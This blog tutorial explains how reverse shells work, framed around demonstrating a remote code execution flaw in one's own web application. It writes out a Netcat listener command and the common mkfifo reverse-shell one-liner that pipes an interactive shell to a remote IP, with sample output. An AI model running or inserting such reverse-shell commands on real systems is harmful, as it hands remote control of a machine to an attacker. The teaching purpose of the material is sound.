In my last blog I gave you a small introduction into the term "Reverse Shell". I described it as: "A Reverse Shell is where your target machine creates a connection to your machine, after which you get a shell on the target machine in which you can execute system commands." It is similar to SSH, but without any encryption and the connection is created the other way around (from target to you, instead of you to the target).

But when would you want to get a Reverse Shell? Say you’re pentesting your own web application and you found a Remote Code Execution vulnerability. To demonstrate what you could do with that vulnerability, you try and exploit it in front of your boss. The easiest way to get full access to the machine, without sending HTTP requests all the time, is to get a Reverse Shell. This will also give you the full output of the commands. An example of how this could work can be seen in figure 1.

Example of Reverse Shell
Figure 1: An example of exploiting a Remote Code Execution vulnerability to get a Reverse Shell

In this blog I’ll show you how a Reverse Shell actually works.


We’ll use a tool called Netcat. By default, it is installed on *nix systems. For Windows, you can download a binary from this link.

Getting a Reverse Shell

If you don’t have a target machine, you can try it on your local machine first.
Don’t want to execute the commands on your local machine? You can always start two Alpine Docker containers to try it out. Run docker container run -it alpine to get a shell.

Setting up your local machine

All we need to do on your local machine, is simply executing the following command:

    bob@local-machine:~$ nc -lnvp 4444
    Listening on [] (family 0, port 4444)

This will create a listening socket with Netcat on your local machine on port 4444, which will accept the incoming TCP connection from our target machine.

Setting up your target machine

There are several ways to get a Reverse Shell. For *nix you can find a long list on GTFOBins.

For the set-up of your target machine you need to execute a few commands, although you can chain them together with ; as a one-liner. To make it a bit easier to read, I’ll show you the separate commands.

Since Netcat these days doesn’t always have the ability to execute binaries anymore, we’ll have to use a small workaround. If you are running Windows as the target machine, you need to execute it in the Windows Subsystem for Linux or in Git Bash.

Let’s start with the first part:

    rm /tmp/f

This will first make sure the /tmp/f pipe doesn’t exist already. Then off to the second part:

    mkfifo /tmp/f

This will create a FIFO pipe[1] at /tmp/f which we will use for our input/output. Then the final part, which is the most import part of our command:

    cat /tmp/f | /bin/sh -i 2>&1 | nc <your IP> 4444 > /tmp/f

This will execute everything we get from our /tmp/f pipe with sh (-i for interactive, to make sure it doesn’t close our shell immediately) and combine stderr and stdout into stdout. If you don’t combine these outputs, you won’t see any errors. Pipe the output of our commands via Netcat to a TCP connection on our local machine on port 4444. In addition, everything that we receive from our TCP connection will be outputted to our /tmp/f pipe to make the circle round again. Once the last command is executed, you should see your Reverse Shell on your local machine.


Now we have a Reverse Shell on our local machine to the target machine, which we can see from the output below. What this means is we can execute arbitrary commands as Jane on the target machine now.

    bob@local-machine:~$ nc -lnvp 4444
    Listening on [] (family 0, port 4444)
    Connection from 42748 received!
    $ whoami

Upgrading to a fully interactive shell

As mentioned in my previous post, this is the point where you’ll encounter that if you press CTRL-C you’ll close your shell. Besides that, we don’t have a TTY yet so we can’t do all the fun stuff. Simply follow the steps in this post, and you’ll be ready to sniff around on the target machine!

1. A First In, First Out (FIFO) or named pipe is a method of inter-process communication (IPC). See Wikipedia for more information.